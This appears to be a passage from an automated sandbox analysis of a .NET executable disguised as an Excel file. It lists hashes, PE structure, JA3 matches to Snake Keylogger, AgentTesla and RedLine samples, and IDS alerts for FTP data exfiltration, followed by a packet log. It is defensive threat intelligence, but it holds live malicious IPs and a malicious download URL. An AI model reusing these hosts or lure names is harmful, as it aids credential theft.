	WEB-SAT_base.apk	Get hash	malicious	Unknown	Browse	77.79.227.218
	WEB-SAT_base.apk	Get hash	malicious	Unknown	Browse	77.79.227.218

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	DS0987656789000JHG.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	test.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Project Inquiry & Drawings .exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	#U8acb#U6c42#U66f8.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	QUOTATION.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.W32.MSIL_Kryptik.IUH.gen.Eldorado.32665.13080.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	z92PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	z65PurchaseOrderNo_0072024_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	https://dl.dropboxusercontent.com/scl/fi/amk8gyukhso9fnawmzyn5/rechnung-juli2024.zip?rlkey=ys40hkxopm2rk8nb3por1hahy&st=rv9g5p7z&dl=0	Get hash	malicious	Unknown	Browse	149.154.167.220
	Delivery Certificate.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	https://zohoinvoicepay.com/invoice/horizonhivesholdings/secure?CInvoiceID=2-5d1a6e6e7fc02c6aa9c16ba084eaf7b11969e250db6bf56b3ff921885bb1a02a1de112985005752c6b386aa74f5531aa4b7fa92bbb84e57e4955efe41be6b38898e1fb71080bbb7a%20	Get hash	malicious	Unknown	Browse	149.154.167.220
	Docs_BL INV PKL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	wzjEaheCBP.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	149.154.167.220
	172120861797cb5313eab8cb4c994d23e3cb7a93b70368549aa2aed0ee600798a18aef00cd503.dat-decoded.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	img_Zam#U00f3wienie - #20240716-A09461_pdf.com.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Inquiry no. 2024-1981.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	v993SRbY3C.exe	Get hash	malicious	RedLine	Browse	149.154.167.220
	ynZemxI36h.exe	Get hash	malicious	RedLine	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.5283500998100426
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	DC74433Y7889021.xlsx.exe
File size:	739'328 bytes
MD5:	6fd5c95f3bc8ac876f1babed1b839dcd
SHA1:	b35d7e77ac643ab5d9bbe7442553aa82ac1379c3
SHA256:	d1fcbf364ad31af81a9612d9633e1b6598375983354390bfaa32b5ea5a7c3a6d
SHA512:	13215e1e1252953b6db6e4a13c9ae438579e3873eb780ef5038d9d32a4452812e9e5b29f4ad24033c30310d621d86077ec937a1805497be74c5181b99f8019cd
SSDEEP:	12288:c4ndmoie6MfHpYRK7raPRJeoqN0N40AxLqA:pngpe6m2R3PPeoqN0N4Jq
TLSH:	F5F4C01A2A60C879ED3D95B6F4E3402D2B307D4225E2E93714CE3E8C6AF9B5145C726F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.................0......Z........... ... ....@.. ....................................@................................

File Icon


Icon Hash:	31d89a929298d027

Static PE Info

General

Entrypoint:	0x4b0a1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA8818C66 [Sat Aug 2 15:06:14 2059 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb09d0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb2000	0x5784	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaea24	0xaec00	3c7fd4febadd7a7074945aa39170fd62	False	0.5529900415772532	data	7.549042885897216	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb2000	0x5784	0x5800	9701a292d950693b5a538d03eface908	False	0.30854936079545453	data	5.307373461337928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb8000	0xc	0x200	843f732a168a539c2232216f4ca11900	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb21f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.4920212765957447
RT_ICON	0xb2658	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.32704918032786884
RT_ICON	0xb2fe0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.2303001876172608
RT_ICON	0xb4088	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.15995850622406638
RT_ICON	0xb6630	0xc1d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8742341180264431
RT_GROUP_ICON	0xb7250	0x4c	data	0.75
RT_VERSION	0xb729c	0x2fc	data	0.4397905759162304
RT_MANIFEST	0xb7598	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/17/24-14:17:22.648999	TCP	2845532	ETPRO TROJAN SnakeKeylogger Exfil via FTP M1	49756	21	192.168.2.4	213.189.52.181

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-17T14:17:08.911771+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49742	443	192.168.2.4	188.114.97.3
2024-07-17T14:19:21.508196+0200	TCP	2845532	ETPRO MALWARE SnakeKeylogger Exfil via FTP M1	49756	21	192.168.2.4	213.189.52.181
2024-07-17T14:17:11.365188+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49747	443	192.168.2.4	188.114.97.3
2024-07-17T14:17:05.037579+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49730	80	192.168.2.4	193.122.130.0
2024-07-17T14:17:58.639130+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49763	20.114.59.183	192.168.2.4
2024-07-17T14:17:20.554901+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49753	20.114.59.183	192.168.2.4
2024-07-17T14:17:05.614505+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49735	443	192.168.2.4	188.114.97.3
2024-07-17T14:17:06.146860+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49736	80	192.168.2.4	193.122.130.0

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 17, 2024 14:17:01.812906027 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:01.820828915 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:01.820899963 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:01.821135998 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:01.825963974 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:03.038635015 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:03.044138908 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:03.049114943 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:03.339458942 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:03.381093979 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:03.390256882 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:03.390300989 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:03.390372038 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:03.398471117 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:03.398480892 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:03.903309107 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:03.903419018 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:03.993012905 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:03.993050098 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:03.993474007 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:04.037381887 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:04.291119099 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:04.336500883 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:04.476017952 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:04.476131916 CEST	443	49733	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:04.476324081 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:04.596721888 CEST	49733	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:04.600856066 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:04.606379986 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:04.984718084 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:05.015737057 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.015786886 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.015857935 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.016186953 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.016205072 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.037579060 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.481162071 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.483251095 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.483295918 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.614490986 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.614574909 CEST	443	49735	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:05.614614964 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.615365982 CEST	49735	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:05.620044947 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.621422052 CEST	49736	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.627546072 CEST	80	49736	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:05.627620935 CEST	49736	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.627724886 CEST	49736	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.630358934 CEST	80	49730	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:05.630431890 CEST	49730	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:05.632539988 CEST	80	49736	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:06.091027021 CEST	80	49736	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:06.092793941 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.092842102 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.092919111 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.093241930 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.093255043 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.146859884 CEST	49736	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:06.557722092 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.568149090 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.568185091 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.708193064 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.708292961 CEST	443	49737	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:06.708611965 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.708920002 CEST	49737	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:06.714010000 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:06.720541000 CEST	80	49738	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:06.720664024 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:06.720724106 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:06.728071928 CEST	80	49738	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:07.212661028 CEST	80	49738	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:07.213989973 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.214034081 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.214108944 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.214361906 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.214379072 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.256146908 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.674343109 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.683389902 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.683409929 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.813129902 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.813384056 CEST	443	49739	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:07.813452005 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.813931942 CEST	49739	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:07.818218946 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.819134951 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.823730946 CEST	80	49738	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:07.823792934 CEST	49738	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.824019909 CEST	80	49741	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:07.824099064 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.824177980 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:07.828958035 CEST	80	49741	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:08.317326069 CEST	80	49741	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:08.318909883 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.318950891 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.319010019 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.319385052 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.319396973 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.365469933 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.784497023 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.786130905 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.786161900 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.911788940 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.911880016 CEST	443	49742	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:08.911938906 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.912803888 CEST	49742	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:08.916625023 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.918001890 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.930402040 CEST	80	49744	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:08.932056904 CEST	80	49741	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:08.932158947 CEST	49741	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.932169914 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.932322979 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:08.937427998 CEST	80	49744	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:09.408221960 CEST	80	49744	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:09.409503937 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:09.409595966 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:09.409863949 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:09.409956932 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:09.409975052 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:09.459244967 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.117258072 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.119112015 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.119158030 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.273317099 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.273416996 CEST	443	49745	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.273477077 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.274003983 CEST	49745	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.277514935 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.278804064 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.283199072 CEST	80	49744	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:10.283289909 CEST	49744	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.284233093 CEST	80	49746	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:10.284327030 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.284399033 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:10.289766073 CEST	80	49746	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:10.763042927 CEST	80	49746	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:10.764143944 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.764199972 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.764282942 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.764602900 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:10.764617920 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:10.818692923 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.225435972 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.227528095 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.227580070 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.365185022 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.365638971 CEST	443	49747	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.365822077 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.367938995 CEST	49747	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.373411894 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.374238968 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.379071951 CEST	80	49746	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:11.379116058 CEST	80	49748	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:11.379122019 CEST	49746	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.379170895 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.379313946 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:11.384105921 CEST	80	49748	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:11.837635994 CEST	80	49748	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:11.839603901 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.839659929 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.839741945 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.840069056 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:11.840087891 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:11.881146908 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.305113077 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:12.307115078 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:12.307157040 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:12.452521086 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:12.452630997 CEST	443	49749	188.114.97.3	192.168.2.4
Jul 17, 2024 14:17:12.452735901 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:12.453497887 CEST	49749	443	192.168.2.4	188.114.97.3
Jul 17, 2024 14:17:12.456985950 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.458267927 CEST	49750	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.462640047 CEST	80	49748	193.122.130.0	192.168.2.4
Jul 17, 2024 14:17:12.462734938 CEST	49748	80	192.168.2.4	193.122.130.0
Jul 17, 2024 14:17:12.463455915 CEST	80	49750	193.122.130.0	192.168.2.4
